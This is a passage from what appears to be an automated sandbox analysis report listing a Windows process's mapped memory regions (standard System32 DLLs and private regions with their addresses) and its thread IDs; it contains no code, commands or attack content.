0x7fefcc30000 end_va = 0x7fefcc3efff entry_point = 0x7fefcc30000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2908 start_va = 0x7fefcc40000 end_va = 0x7fefccd0fff entry_point = 0x7fefcc40000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2909 start_va = 0x7fefcd20000 end_va = 0x7fefcd33fff entry_point = 0x7fefcd20000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2910 start_va = 0x7fefcef0000 end_va = 0x7fefcf5afff entry_point = 0x7fefcef0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2911 start_va = 0x7fefd110000 end_va = 0x7fefd312fff entry_point = 0x7fefd110000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2912 start_va = 0x7fefd340000 end_va = 0x7fefd36dfff entry_point = 0x7fefd340000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2913 start_va = 0x7fefd5d0000 end_va = 0x7fefd6d8fff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2914 start_va = 0x7fefd6e0000 end_va = 0x7fefd746fff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2915 start_va = 0x7fefd750000 end_va = 0x7fefd757fff entry_point = 0x7fefd750000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2916 start_va = 0x7fefe590000 end_va = 0x7fefe666fff entry_point = 0x7fefe590000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2917 start_va = 0x7fefe7a0000 end_va = 0x7fefe87afff entry_point = 0x7fefe7a0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2918 start_va = 0x7fefeac0000 end_va = 0x7fefeb5efff entry_point = 0x7fefeac0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2919 start_va = 0x7fefeb60000 end_va = 0x7fefeb7efff entry_point = 0x7fefeb60000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2920 start_va = 0x7fefeb80000 end_va = 0x7fefebf0fff entry_point = 0x7fefeb80000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2921 start_va = 0x7fefec00000 end_va = 0x7fefed2cfff entry_point = 0x7fefec00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2922 start_va = 0x7fefed30000 end_va = 0x7fefedc8fff entry_point = 0x7fefed30000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2923 start_va = 0x7fefedd0000 end_va = 0x7fefee1cfff entry_point = 0x7fefedd0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2924 start_va = 0x7fefeea0000 end_va = 0x7fefef68fff entry_point = 0x7fefeea0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2925 start_va = 0x7feff0f0000 end_va = 0x7feff0fdfff entry_point = 0x7feff0f0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2926 start_va = 0x7feff110000 end_va = 0x7feff110fff entry_point = 0x7feff110000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2927 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2928 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2929 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2930 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2931 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2932 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2933 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2934 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2935 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2936 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2937 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2938 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2939 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2940 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2941 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2942 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2943 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 117 os_tid = 0x6ac Thread: id = 118 os_tid = 0x644 Thread: id = 119 os_tid = 0x5fc Thread: id = 120 os_tid = 0x4f8 Thread: id = 121 os_tid = 0x620 Thread: id = 122 os_tid = 0x624 Thread: id = 123 os_tid = 0x5b8 Thread: id = 124 os_tid = 0x550 Thread: id = 125 os_tid = 0x6c0 Thread: id = 126 os_tid = 0xf4 Thread: id = 127 os_tid = 0xcc Thread: id = 128 os_tid = 0x3f8 Thread: id = 129 os_tid = 0x3f4 Thread: id = 130 os_tid = 0x3f0 Thread: id = 131 os_tid = 0x3dc